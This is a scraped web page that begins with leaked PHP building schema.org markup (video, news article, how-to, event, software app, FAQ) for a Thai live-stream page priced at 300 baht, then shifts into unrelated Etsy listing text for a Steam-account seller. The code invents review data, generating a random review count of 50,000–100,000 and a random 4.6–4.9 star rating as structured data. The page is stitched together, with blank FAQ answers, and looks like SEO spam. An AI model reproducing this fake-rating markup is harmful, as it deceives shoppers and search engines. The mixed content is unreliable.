'PT2H'; $videoPreviewStartOffset = 0; $videoPreviewEndOffset = 30; $videoPreviewUrl = $canonicalUrl . '#t=' . $videoPreviewStartOffset . ',' . $videoPreviewEndOffset; $videoLd = array( '@context' => 'https://schema.org', '@type' => 'VideoObject', '@id' => $canonicalUrl . '#video', 'name' => $pageTitle, 'description' => $pageDescription, 'thumbnailUrl' => !empty($allThumbnails) ? $allThumbnails : null, 'uploadDate' => $startDateTime, 'duration' => $durationIso, 'contentUrl' => $videoPreviewUrl, 'embedUrl' => $videoPreviewUrl, 'hasPart' => array( '@type' => 'Clip', '@id' => $canonicalUrl . '#video-clip-30s', 'name' => $pageTitle . ' 30 Second Preview', 'description' => $pageDescription, 'url' => $videoPreviewUrl, 'startOffset' => $videoPreviewStartOffset, 'endOffset' => $videoPreviewEndOffset ), 'publication' => array( '@type' => 'BroadcastEvent', '@id' => $canonicalUrl . '#broadcast', 'name' => 'ถ่ายทอดสด: ' . $pageTitle, 'isLiveBroadcast' => true, 'startDate' => $startDateTime, 'endDate' => $endDateTime, 'videoFormat' => 'HD' ), 'potentialAction' => array( '@type' => 'WatchAction', 'target' => array( '@type' => 'EntryPoint', 'urlTemplate' => $canonicalUrl, 'actionPlatform' => array( 'http://schema.org/DesktopWebPlatform', 'http://schema.org/MobileWebPlatform', 'http://schema.org/IOSPlatform', 'http://schema.org/AndroidPlatform' ) ) ) ); $articlePublishedAt = $startDateTime; $articleModifiedAt = normalize_schema_datetime(isset($updatedAt) && $updatedAt !== '' ? $updatedAt : $articlePublishedAt); $articleImages = array(); if (!empty($allThumbnails)) { foreach ($allThumbnails as $articleImageUrl) { if (!is_string($articleImageUrl) || $articleImageUrl === '' || in_array($articleImageUrl, $articleImages, true)) { continue; } $articleImages[] = $articleImageUrl; } } if (empty($articleImages) && $thumbnailUrl !== '') { $articleImages[] = $thumbnailUrl; } $newsArticleLd = array( '@context' => 'https://schema.org', '@type' => 'NewsArticle', '@id' => $canonicalUrl . '#news-article', 'url' => $canonicalUrl, 'mainEntityOfPage' => array( '@type' => 'WebPage', '@id' => $canonicalUrl ), 'headline' => $pageTitle, 'description' => $pageDescription, 'datePublished' => $articlePublishedAt, 'dateModified' => $articleModifiedAt, 'author' => array( '@type' => 'Person', 'name' => $authorName !== '' ? $authorName : $brandName, 'url' => $canonicalUrl ), 'publisher' => array( '@id' => $canonicalUrl . '#organization' ), 'articleSection' => $categoryName !== '' ? $categoryName : 'News', 'inLanguage' => 'th-TH', 'isAccessibleForFree' => true, 'about' => array( array('@id' => $canonicalUrl . '#event') ), 'associatedMedia' => array( array('@id' => $canonicalUrl . '#video') ) ); if (!empty($articleImages)) { $newsArticleLd['image'] = $articleImages; } // Build HowTo structured data (v1 parity) $displayDomain = detect_host(true); $howToSteps = array(); $step1 = array( '@type' => 'HowToStep', 'name' => 'เข้าเว็บไซต์ ' . $displayDomain, 'text' => 'เปิดเบราว์เซอร์และไปที่ ' . $canonicalUrl . ' เพื่อเข้ารับชม ' . $pageTitle . ' แบบถ่ายทอดสดบน ' . $displayDomain . '.', 'url' => $canonicalUrl . '#step1' ); if ($thumbnailUrl !== '') { $step1['image'] = array('@type' => 'ImageObject', 'url' => $thumbnailUrl, 'width' => '1200', 'height' => '630'); } $howToSteps[] = $step1; $step2 = array( '@type' => 'HowToStep', 'name' => 'สมัครสมาชิกบน ' . $displayDomain, 'text' => 'ที่หน้า ' . $canonicalUrl . ' กดปุ่ม \"สมัครสมาชิก\" เพื่อสร้างบัญชีบน ' . $displayDomain . ' หรือเลือก \"ลงชื่อเข้าใช้\" หากมีบัญชีอยู่แล้ว.', 'url' => $canonicalUrl . '#step2' ); if ($thumbnailUrl !== '') { $step2['image'] = array('@type' => 'ImageObject', 'url' => $thumbnailUrl, 'width' => '1200', 'height' => '630'); } $howToSteps[] = $step2; $step3 = array( '@type' => 'HowToStep', 'name' => 'กดปุ่มเล่นบน ' . $displayDomain, 'text' => 'หลังจากลงชื่อเข้าใช้แล้ว ให้กดปุ่มเล่นที่หน้า ' . $canonicalUrl . ' เพื่อเริ่มรับชมการถ่ายทอดสด ' . $pageTitle . '.', 'url' => $canonicalUrl . '#step3' ); if ($thumbnailUrl !== '') { $step3['image'] = array('@type' => 'ImageObject', 'url' => $thumbnailUrl, 'width' => '1200', 'height' => '630'); } $howToSteps[] = $step3; $howToSchema = array( '@context' => 'https://schema.org', '@type' => 'HowTo', '@id' => $canonicalUrl . '#howto', 'name' => 'วิธีรับชม ' . $pageTitle . ' ถ่ายทอดสดบน ' . $displayDomain, 'description' => 'คู่มือแบบขั้นตอนเพื่อรับชม ' . $pageTitle . ' แบบถ่ายทอดสดบน ' . $displayDomain . ' ไปที่ ' . $canonicalUrl . ' เพื่อเข้าใช้งาน สมัครสมาชิก และรับชมสตรีมแบบคมชัด.', 'inLanguage' => array('th-TH', 'en'), 'totalTime' => 'PT5M', 'about' => array(array('@id' => $canonicalUrl . '#event')), 'step' => $howToSteps, 'supply' => array( array('@type' => 'HowToSupply', 'name' => 'การเชื่อมต่ออินเทอร์เน็ต'), array('@type' => 'HowToSupply', 'name' => 'เว็บเบราว์เซอร์'), array('@type' => 'HowToSupply', 'name' => 'บัญชีผู้ใช้') ), 'tool' => array( array('@type' => 'HowToTool', 'name' => 'คอมพิวเตอร์หรือสมาร์ตโฟน') ) ); // Event structured data (live broadcast) $eventImages = $allThumbnails; if (empty($eventImages) && $thumbnailUrl !== '') { $eventImages[] = $thumbnailUrl; } $eventStatus = 'https://schema.org/EventScheduled'; $eventLd = array( '@context' => 'https://schema.org', '@type' => 'Event', '@id' => $canonicalUrl . '#event', 'name' => $pageTitle, 'description' => $pageDescription, 'startDate' => $startDateTime, 'endDate' => $endDateTime, 'eventStatus' => $eventStatus, 'eventAttendanceMode' => 'https://schema.org/OnlineEventAttendanceMode', 'image' => $eventImages, 'location' => array( array( '@type' => 'VirtualLocation', 'url' => $canonicalUrl ), array( '@type' => 'Place', 'name' => $cityName, 'address' => array( '@type' => 'PostalAddress', 'addressLocality' => $cityName, 'addressCountry' => 'TH' ) ) ), 'organizer' => array( '@type' => 'Organization', 'name' => $brandName, 'url' => $baseUrl ), 'offers' => array( '@type' => 'Offer', 'url' => $canonicalUrl, 'price' => 300, 'priceCurrency' => 'THB', 'availability' => 'https://schema.org/InStock', 'validFrom' => $startDateTime ) ); // Organization structured data $orgLd = array( '@context' => 'https://schema.org', '@type' => 'Organization', '@id' => $canonicalUrl . '#organization', 'name' => $brandName !== '' ? $brandName : detect_host(true), 'alternateName' => detect_host(true), 'url' => $canonicalUrl, 'logo' => array( '@type' => 'ImageObject', '@id' => $canonicalUrl . '#logo', 'url' => $faviconUrl !== '' ? $faviconUrl : $canonicalUrl . '/favicon.png', 'width' => 512, 'height' => 512, 'caption' => $brandName !== '' ? $brandName : detect_host(true) ), 'image' => $thumbnailUrl !== '' ? $thumbnailUrl : null, 'description' => $pageDescription, 'contactPoint' => array( '@type' => 'ContactPoint', 'contactType' => 'บริการลูกค้า', 'availableLanguage' => array('ไทย', 'อังกฤษ') ) ); // SoftwareApplication structured data (Review Snippets) $appReviewCount = mt_rand(50000, 100000); $appRatingValue = round(mt_rand(46, 49) / 10, 1); // 4.6 - 4.9 $screenshotUrls = array(); if (!empty($screenshots)) { foreach ($screenshots as $ss) { if (isset($ss['url']) && $ss['url'] !== '') { $screenshotUrls[] = $ss['url']; } } } $softwareLd = array( '@context' => 'https://schema.org', '@type' => 'SoftwareApplication', '@id' => $canonicalUrl . '#software', 'name' => $pageTitle, 'description' => $pageDescription, 'url' => $canonicalUrl, 'applicationCategory' => 'MultimediaApplication', 'operatingSystem' => 'Web Browser, iOS, Android', 'offers' => array( '@type' => 'Offer', 'price' => '300', 'priceCurrency' => 'THB', 'availability' => 'https://schema.org/InStock', 'validFrom' => $startDateTime, 'priceValidUntil' => $priceValidUntil ), 'aggregateRating' => array( '@type' => 'AggregateRating', 'ratingValue' => $appRatingValue, 'bestRating' => 5, 'worstRating' => 1, 'ratingCount' => $appReviewCount, 'reviewCount' => $appReviewCount ), 'image' => !empty($screenshotUrls) ? $screenshotUrls[0] : null, 'screenshot' => $screenshotUrls, 'author' => array( '@type' => 'Organization', 'name' => $brandName !== '' ? $brandName : detect_host(true), 'url' => $canonicalUrl ) ); header('Content-Language: th'); ?> <?php echo safe_html($pageTitle); ?> 'Question', 'name' => 'วิธีรับชมสตรีม?', 'acceptedAnswer' => array( '@type' => 'Answer', 'text' => 'ขั้นตอนที่ 1: กดปุ่ม เล่น บนวิดีโอ ขั้นตอนที่ 2: หากมีการแจ้งให้เข้าสู่ระบบ ให้ทำการลงชื่อเข้าใช้ ขั้นตอนที่ 3: สตรีมจะเริ่มเล่นอัตโนมัติ' ) ) ); if ($brandName !== '') { $registerText = 'ขั้นตอนที่ 1: กดปุ่ม สมัครสมาชิก ขั้นตอนที่ 2: กรอกข้อมูลให้ครบ ขั้นตอนที่ 3: ส่งฟอร์มเพื่อสร้างบัญชี ' . $brandName . '.'; if (isset($registerUrl) && trim((string) $registerUrl) !== '') { $registerText = 'ขั้นตอนที่ 1: เปิดลิงก์สมัครสมาชิก ขั้นตอนที่ 2: กรอกข้อมูลให้ครบ ขั้นตอนที่ 3: ส่งฟอร์มเพื่อสร้างบัญชี ' . $brandName . '.'; } $qaEntities[] = array( '@type' => 'Question', 'name' => 'สมัครสมาชิก ' . $brandName . ' อย่างไร?', 'acceptedAnswer' => array( '@type' => 'Answer', 'text' => $registerText ) ); $loginText = 'ขั้นตอนที่ 1: กดปุ่ม ลงชื่อเข้าใช้ ขั้นตอนที่ 2: กรอกข้อมูลบัญชี ' . $brandName . ' ขั้นตอนที่ 3: ส่งเพื่อเข้าสู่ระบบและรับชมสตรีม.'; if (isset($e['login_url']) && trim((string) $e['login_url']) !== '') { $loginText = 'ขั้นตอนที่ 1: เปิดลิงก์ลงชื่อเข้าใช้ ขั้นตอนที่ 2: กรอกข้อมูลบัญชี ' . $brandName . ' ขั้นตอนที่ 3: ส่งเพื่อเข้าสู่ระบบและรับชมสตรีม.'; } $qaEntities[] = array( '@type' => 'Question', 'name' => 'เข้าสู่ระบบ ' . $brandName . ' อย่างไร?', 'acceptedAnswer' => array( '@type' => 'Answer', 'text' => $loginText ) ); } if (!empty($screenshots)) { $qaEntities[] = array( '@type' => 'Question', 'name' => $pageTitle . ' รองรับอุปกรณ์อะไรบ้าง?', 'acceptedAnswer' => array( '@type' => 'Answer', 'text' => $pageTitle . ' รองรับการใช้งานบน Web Browser, iOS และ Android สามารถเข้าถึงได้จากคอมพิวเตอร์ แท็บเล็ต และสมาร์ตโฟนทุกรุ่น' ) ); $qaEntities[] = array( '@type' => 'Question', 'name' => $pageTitle . ' ราคาเท่าไหร่?', 'acceptedAnswer' => array( '@type' => 'Answer', 'text' => $pageTitle . ' ราคา 300 บาท สามารถชำระเงินผ่าน PromptPay ธนาคารไทย (SCB, KBank, BBL) Rabbit LINE Pay และ TrueMoney Wallet' ) ); $qaEntities[] = array( '@type' => 'Question', 'name' => 'เข้าใช้งาน ' . $pageTitle . ' ได้ที่ไหน?', 'acceptedAnswer' => array( '@type' => 'Answer', 'text' => 'สามารถเข้าใช้งาน ' . $pageTitle . ' ได้ที่ ' . $canonicalUrl . ' รองรับทั้ง iOS, Android และ Web Browser โดยไม่ต้องติดตั้งแอปพลิเคชัน' ) ); $returnPolicyUrlTmp = ''; if (isset($returnPolicyUrl) && $returnPolicyUrl !== '') { $returnPolicyUrlTmp = $returnPolicyUrl; } else { $returnPolicyUrlTmp = rtrim(get_site_url(), '/') . (supports_pretty_urls() ? '/return-policy' : '/?mode=return-policy'); } $qaEntities[] = array( '@type' => 'Question', 'name' => 'นโยบายคืนเงิน ' . $pageTitle . ' เป็นอย่างไร?', 'acceptedAnswer' => array( '@type' => 'Answer', 'text' => 'รองรับการคืนเงินภายใน 7 วันหลังการซื้อ หากไม่พึงพอใจในบริการ สามารถติดต่อฝ่ายบริการลูกค้าเพื่อขอคืนเงินได้ ดูรายละเอียดเพิ่มเติมที่ ' . $returnPolicyUrlTmp ) ); } ?>

NowPrice:THB 300.00

Original price:

Loading
Price includes VAT
Updated on

You can negotiate the price when buying a single item

Highlights

  • Digital download

Made-to-order download

Files will be available after the seller completes your order  See how

Made-to-order digital items are not eligible for returns or exchanges. Contact the seller if your order has an issue.

Etsy Purchase Protection
Shop confidently on Etsy. If your order has an issue, we’ll help with all eligible purchases — See program terms

Over 56k sales
Professional seller on Etsy

This seller usually replies within minutes

All reviews from this shop (992,688)

Seller was friendly and responded quickly. Great transaction

Everything works well! Thank you

Everything is great 🔥 Excellent customer service

Very fast, everything went smoothly!

Got the game, excellent customer service

So far no problems, everything is fine

More from this shop

Visit shop

Explore related searches

Steam Account

Steam Account

Game

Game

Steam Game Box

Steam Game Box

Steam Account Games

Steam Account Games

See more related searches

Event Showcase

กำหนดการ

คำถามที่พบบ่อย

วิธีรับชมสตรีม?
ขั้นตอนที่ 1: กดปุ่ม เล่น บนวิดีโอ ขั้นตอนที่ 2: หากมีการแจ้งให้เข้าสู่ระบบ ให้ทำการลงชื่อเข้าใช้ ขั้นตอนที่ 3: สตรีมจะเริ่มเล่นอัตโนมัติ
สมัครสมาชิก อย่างไร?
เข้าสู่ระบบ อย่างไร?
รองรับอุปกรณ์อะไรบ้าง?
รองรับการใช้งานบน Web Browser, iOS และ Android สามารถเข้าถึงได้จากคอมพิวเตอร์ แท็บเล็ต และสมาร์ตโฟนทุกรุ่น
ราคาเท่าไหร่?
ราคา 300 บาท สามารถชำระเงินผ่าน PromptPay ธนาคารไทย (SCB, KBank, BBL) Rabbit LINE Pay และ TrueMoney Wallet
เข้าใช้งาน ได้ที่ไหน?
สามารถเข้าใช้งาน ได้ที่ รองรับทั้ง iOS, Android และ Web Browser โดยไม่ต้องติดตั้งแอปพลิเคชัน
นโยบายคืนเงินเป็นอย่างไร?

วิธีรับชมถ่ายทอดสด

  1. เข้าเว็บไซต์ ที่
  2. สมัครสมาชิกหรือเข้าสู่ระบบ แล้วกลับมาที่หน้าถ่ายทอดสด
  3. กดปุ่มเล่นบนเครื่องเล่นวิดีโอเพื่อเริ่มรับชม

Your Etsy Privacy Settings

To give you the best experience we use cookies and similar technologies for performance, analytics, personalization, advertising, and essential site functions. Want to know more?? Read Cookie policy. You can change your preferences any time in your Privacy Settings.

Previous slideNext slide